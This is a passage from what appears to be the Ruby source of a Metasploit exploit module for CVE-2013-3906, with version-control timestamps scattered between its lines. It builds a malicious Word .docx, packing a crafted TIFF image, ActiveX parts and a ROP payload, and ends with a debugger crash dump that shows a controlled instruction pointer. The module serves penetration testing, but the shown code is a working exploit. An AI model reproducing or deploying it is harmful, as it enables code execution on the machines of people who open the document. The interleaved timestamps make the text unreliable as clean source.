zip.add_file(ax_xml[:fname], ax_xml[:xml])
2013-11-22 22:57:29 +00:00
vprint_status("Packing file: #{ax_rels[:fname]}")
2013-11-20 05:10:32 +00:00
zip.add_file(ax_rels[:fname], ax_rels[:rels])
end
print_status("Packing file: #{ct_xml_file[:fname]}")
zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
print_status("Packing file: #{tiff_file[:fname]}")
zip.add_file(tiff_file[:fname], tiff_file[:data])
2013-11-20 23:11:13 +00:00
print_status("Packing file: #{doc_xml[:fname]}")
zip.add_file(doc_xml[:fname], doc_xml[:xml])
print_status("Packing file: #{rels_xml[:fname]}")
zip.add_file(rels_xml[:fname], rels_xml[:data])
2013-11-20 05:10:32 +00:00
print_status("Packing file: #{doc_xml_reals_file[:fname]}")
zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
zip.pack
end
def exploit
2013-11-22 22:57:29 +00:00
@rop_payload = get_rop_payload
2013-11-20 23:11:13 +00:00
@schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
2013-11-20 05:10:32 +00:00
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
docx = make_docx(path)
file_create(docx)
end
end
2013-11-21 20:42:07 +00:00
=begin
2013-11-22 22:57:29 +00:00
0:000> r
eax=414242f4 ebx=00000000 ecx=22a962a0 edx=44191398 esi=22c4d338 edi=1cfe5dc0
eip=44023a2a esp=0011fd8c ebp=0011fd98 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
OGL!GdipCreatePath+0x58:
44023a2a ff5050 call dword ptr [eax+50h] ds:0023:41424344=????????
0:000> k
2017-07-19 10:04:15 +00:00
ChildEBP RetAddr
2013-11-22 22:57:29 +00:00
WARNING: Stack unwind information not available. Following frames may be wrong.
0011fd98 437a9681 OGL!GdipCreatePath+0x58
0011fdc8 437b11b0 gfx+0x9681
0011fdf0 422b56e5 gfx+0x111b0
0011fe18 422a99f7 oart!Ordinal3584+0x86
0011fed8 422a9921 oart!Ordinal7649+0x2b2
0011fef0 422a8676 oart!Ordinal7649+0x1dc
001200bc 422a85a8 oart!Ordinal4145+0x199
001200fc 424898c6 oart!Ordinal4145+0xcb
001201bc 42489b56 oart!Ordinal3146+0xb15
001202cc 422a37df oart!Ordinal3146+0xda5
00120330 422a2a73 oart!Ordinal2862+0x14e
00120360 317821a9 oart!Ordinal2458+0x5e
001203bc 31782110 wwlib!GetAllocCounters+0x9bd51
001204a4 3177d1f2 wwlib!GetAllocCounters+0x9bcb8
001207ec 3177caef wwlib!GetAllocCounters+0x96d9a
0012088c 3177c7a0 wwlib!GetAllocCounters+0x96697
001209b0 3175ab83 wwlib!GetAllocCounters+0x96348
001209d4 317569e0 wwlib!GetAllocCounters+0x7472b
00120ad4 317540f5 wwlib!GetAllocCounters+0x70588
00120afc 3175400b wwlib!GetAllocCounters+0x6dc9d
2013-11-21 20:42:07 +00:00
To-do:
2017-07-19 10:04:15 +00:00
Turn the docx packaging into a mixin. Good luck with that.
2013-11-21 20:42:07 +00:00
=end